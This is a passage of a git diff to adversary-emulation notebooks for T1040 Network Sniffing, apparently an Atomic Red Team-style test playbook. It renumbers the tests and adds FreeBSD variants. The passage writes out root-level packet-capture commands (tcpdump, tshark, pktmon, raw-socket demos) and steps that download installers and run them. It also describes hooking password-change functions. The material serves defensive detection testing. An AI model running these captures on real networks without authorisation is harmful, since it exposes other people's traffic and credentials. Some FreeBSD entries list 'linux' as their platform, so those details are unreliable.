effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can impact an adversary's activity by manipulating or replacing the commands commonly used to display users on a system.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -156,13 +190,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1040.ipynb b/playbook/tactics/discovery/T1040.ipynb index c7c33a13..db32ef4f 100644 --- a/playbook/tactics/discovery/T1040.ipynb +++ b/playbook/tactics/discovery/T1040.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "59cfefc6", + "id": "f804a0b9", "metadata": {}, - "source": "# T1040 - Network Sniffing\nAdversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring)" + "source": "# T1040 - Network Sniffing\nAdversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)" }, { "cell_type": "markdown", - "id": "9af715c4", + "id": "48a924b1", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "4d88af2e", + "id": "03d35fe6", "metadata": {}, "source": "### Atomic Test #1 - Packet Capture Linux using tshark or tcpdump\nPerform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.\n\nUpon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Check if at least one of tcpdump or tshark is installed.\n\n##### Check Prereq Commands:\n```bash\nif [ ! -x \"$(command -v tcpdump)\" ] && [ ! -x \"$(command -v tshark)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```bash\n(which yum && yum -y install epel-release tcpdump tshark)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bb92fa36", + "id": "7eebfb1f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1040 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "296113ba", + "id": "9130e269", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,59 +38,90 @@ { "cell_type": "code", "execution_count": null, - "id": "200b7c55", + "id": "4a2c6985", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1040 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a892d07b", + "id": "888f1285", "metadata": {}, - "source": "### Atomic Test #2 - Packet Capture macOS using tcpdump or tshark\nPerform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.\n\nUpon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Check if at least one of tcpdump or tshark is installed.\n\n##### Check Prereq Commands:\n```bash\nif [ ! -x \"$(command -v tcpdump)\" ] && [ ! -x \"$(command -v tshark)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```bash\n(which yum && yum -y install epel-release tcpdump tshark)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n\n```" + "source": "### Atomic Test #2 - Packet Capture FreeBSD using tshark or tcpdump\nPerform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.\n\nUpon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if at least one of tcpdump or tshark is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v tcpdump)\" ] && [ ! -x \"$(command -v tshark)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y wireshark-nox11)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "87bac050", + "id": "2babfc8f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1040 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "dd87ce63", + "id": "629eb7f6", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\nsudo tcpdump -c 5 -nnni en0A \nif [ -x \"$(command -v tshark)\" ]; then sudo tshark -c 5 -i en0A; fi;\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\ntcpdump -c 5 -nnni em0\ntshark -c 5 -i em0\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d974e24c", + "id": "f8f23c1e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1040 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c2922f7b", + "id": "3b00700f", "metadata": {}, - "source": "### Atomic Test #3 - Packet Capture Windows Command Prompt\nPerform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark\ninstalled.\n\nUpon successful execution, tshark will execute and capture 5 packets on interface \"Ethernet\".\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: tshark must be installed and in the default path of \"c:\\Program Files\\Wireshark\\Tshark.exe\".\n\n##### Check Prereq Commands:\n```cmd\nif (test-path \"c:\\program files\\wireshark\\tshark.exe\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -OutFile $env:temp\\wireshark_installer.exe https://1.eu.dl.wireshark.org/win64/Wireshark-win64-latest.exe\nStart-Process $env:temp\\wireshark_installer.exe /S\n\n```\n##### Description: npcap must be installed.\n\n##### Check Prereq Commands:\n```cmd\nif (test-path \"C:\\Program Files\\Npcap\\npcap.sys\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -OutFile $env:temp\\npcap_installer.exe https://nmap.org/npcap/dist/npcap-1.31.exe\nStart-Process $env:temp\\npcap_installer.exe\n\n```" + "source": "### Atomic Test #3 - Packet Capture macOS using tcpdump or tshark\nPerform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.\n\nUpon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Check if at least one of tcpdump or tshark is installed.\n\n##### Check Prereq Commands:\n```bash\nif [ ! -x \"$(command -v tcpdump)\" ] && [ ! -x \"$(command -v tshark)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```bash\n(which yum && yum -y install epel-release tcpdump tshark)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8fbff48f", + "id": "1f89153a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1040 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5c3d398c", + "id": "dad489a0", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `bash`\n", + "```bash\nsudo tcpdump -c 5 -nnni en0A \nif [ -x \"$(command -v tshark)\" ]; then sudo tshark -c 5 -i en0A; fi;\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5028ba96", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "b7ce03d5", + "metadata": {}, + "source": "### Atomic Test #4 - Packet Capture Windows Command Prompt\nPerform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark\ninstalled.\n\nUpon successful execution, tshark will execute and capture 5 packets on interface \"Ethernet\".\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: tshark must be installed and in the default path of \"c:\\Program Files\\Wireshark\\Tshark.exe\".\n\n##### Check Prereq Commands:\n```cmd\nif (test-path \"c:\\program files\\wireshark\\tshark.exe\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\wireshark_installer.exe\" https://1.eu.dl.wireshark.org/win64/Wireshark-win64-latest.exe\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\wireshark_installer.exe\" /S\n\n```\n##### Description: npcap must be installed.\n\n##### Check Prereq Commands:\n```cmd\nif (test-path \"C:\\Program Files\\Npcap\\npcap.sys\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\npcap_installer.exe\" https://nmap.org/npcap/dist/npcap-1.31.exe\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\npcap_installer.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "28db09c5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "9a0d75b6", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -100,17 +131,17 @@ { "cell_type": "code", "execution_count": null, - "id": "26e2b0b8", + "id": "95a20060", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 3" + "source": "Invoke-AtomicTest T1040 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "3c038245", + "id": "be812026", "metadata": {}, "source": [ - "### Atomic Test #4 - Windows Internal Packet Capture", + "### Atomic Test #5 - Windows Internal Packet Capture", "Uses the built-in Windows packet capture\nAfter execution you should find a file named trace.etl and trace.cab in the temp directory", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -121,31 +152,31 @@ { "cell_type": "code", "execution_count": null, - "id": "9d140f22", + "id": "a0419980", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 4" + "source": "Invoke-AtomicTest T1040 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "0481f912", + "id": "e8a42427", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnetsh trace stop >nul 2>&1\nTIMEOUT /T 5 >nul 2>&1\ndel %temp%\\trace.etl >nul 2>&1\ndel %temp%\\trace.cab >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "d04c4bb7", + "id": "70bb2010", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "6c1b5fd3", + "id": "1000f26f", "metadata": {}, "source": [ - "### Atomic Test #5 - Windows Internal pktmon capture", + "### Atomic Test #6 - Windows Internal pktmon capture", "Will start a packet capture and store log file as t1040.etl.\nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -156,31 +187,31 @@ { "cell_type": "code", "execution_count": null, - "id": "9f7a0984", + "id": "7e983df2", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 5" + "source": "Invoke-AtomicTest T1040 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "38c12038", + "id": "3e43d41e", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %TEMP%\\t1040.etl```" }, { "cell_type": "code", "execution_count": null, - "id": "c21d5c62", + "id": "0660f1d6", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "672fd051", + "id": "effc6255", "metadata": {}, "source": [ - "### Atomic Test #6 - Windows Internal pktmon set filter", + "### Atomic Test #7 - Windows Internal pktmon set filter", "Select Desired ports for packet capture \nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -191,42 +222,42 @@ { "cell_type": "code", "execution_count": null, - "id": "03edab79", + "id": "da35c5a8", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 6" + "source": "Invoke-AtomicTest T1040 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "22da0707", + "id": "93b41bd4", "metadata": {}, "source": "#### Cleanup: \n```cmd\npktmon filter remove```" }, { "cell_type": "code", "execution_count": null, - "id": "3ce556c7", + "id": "4ce82485", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 6 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "1fe6412f", + "id": "574658af", "metadata": {}, - "source": "### Atomic Test #7 - Packet Capture macOS using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nexit 1\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/macos_pcapdemo.c -o /tmp/t1040_macos_pcapdemo\n\n```" + "source": "### Atomic Test #8 - Packet Capture macOS using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nexit 1\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/macos_pcapdemo.c -o /tmp/t1040_macos_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b49ad527", + "id": "aa655643", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 7 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1290d6ca", + "id": "d8dbe65c", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -236,42 +267,42 @@ { "cell_type": "code", "execution_count": null, - "id": "0fd56a6e", + "id": "45546f4d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 7" + "source": "Invoke-AtomicTest T1040 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "34ac5dfd", + "id": "149f8310", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_macos_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0ff0de6f", + "id": "5e1ab51e", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 7 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "276b0378", + "id": "e650d446", "metadata": {}, - "source": "### Atomic Test #8 - Filtered Packet Capture macOS using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nexit 1\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/macos_pcapdemo.c -o /tmp/t1040_macos_pcapdemo\n\n```" + "source": "### Atomic Test #9 - Filtered Packet Capture macOS using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nexit 1\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/macos_pcapdemo.c -o /tmp/t1040_macos_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "32190d8d", + "id": "62b194ea", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 8 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fceeb1e0", + "id": "a408fbd5", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -281,42 +312,132 @@ { "cell_type": "code", "execution_count": null, - "id": "e295ccc3", + "id": "42973bd7", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 8" + "source": "Invoke-AtomicTest T1040 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "398ddd58", + "id": "9a4540a4", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_macos_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a712d618", + "id": "899959fb", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 8 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "b0a50f61", + "id": "83e55e1c", "metadata": {}, - "source": "### Atomic Test #9 - Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo\nCaptures packets with domain=AF_PACKET, type=SOCK_RAW for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" + "source": "### Atomic Test #10 - Packet Capture FreeBSD using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```sh\nexit 1\n\n```\n##### Get Prereq Commands:\n```sh\ncc PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c -o /tmp/t1040_freebsd_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "356a0697", + "id": "1d04cd09", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 9 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 10 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "d39becf2", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo /tmp/t1040_freebsd_pcapdemo -i em0 -t 3\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "bf9c69b7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "af1f43cf", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/t1040_freebsd_pcapdemo\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1872bcb7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "6bf92b03", + "metadata": {}, + "source": "### Atomic Test #11 - Filtered Packet Capture FreeBSD using /dev/bpfN with sudo\nOpens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```sh\nexit 1\n\n```\n##### Get Prereq Commands:\n```sh\ncc PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c -o /tmp/t1040_freebsd_pcapdemo\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c35c323b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 11 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "5a36bb02", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo /tmp/t1040_freebsd_pcapdemo -f -i em0 -t 3\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "bb65eabb", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "f142f220", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/t1040_freebsd_pcapdemo\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "284119a6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 11 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "222ef0eb", + "metadata": {}, + "source": "### Atomic Test #12 - Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo\nCaptures packets with domain=AF_PACKET, type=SOCK_RAW for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6041ea25", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1040 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b3b99455", + "id": "2665993f", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -326,42 +447,42 @@ { "cell_type": "code", "execution_count": null, - "id": "491777d1", + "id": "119d8e6f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 9" + "source": "Invoke-AtomicTest T1040 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "59aa68ba", + "id": "803890b2", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_linux_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cc6c5876", + "id": "91c56c6d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 9 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "ed880601", + "id": "7223659c", "metadata": {}, - "source": "### Atomic Test #10 - Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo\nCaptures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" + "source": "### Atomic Test #13 - Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo\nCaptures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP for a few seconds.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2fb1409e", + "id": "3909e8c4", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 10 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 13 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9acfc6ff", + "id": "13185a09", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -371,42 +492,42 @@ { "cell_type": "code", "execution_count": null, - "id": "f3835b0b", + "id": "06273a25", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 10" + "source": "Invoke-AtomicTest T1040 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "f16f737c", + "id": "fb6f2042", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_linux_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6fe72d0d", + "id": "233266a8", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 10 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "822d1dd9", + "id": "d8370f89", "metadata": {}, - "source": "### Atomic Test #11 - Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo\nCaptures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds.\nSOCK_PACKET is \"obsolete\" according to the man page, but still works on Ubuntu 20.04\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" + "source": "### Atomic Test #14 - Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo\nCaptures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds.\nSOCK_PACKET is \"obsolete\" according to the man page, but still works on Ubuntu 20.04\n\n**Supported Platforms:** 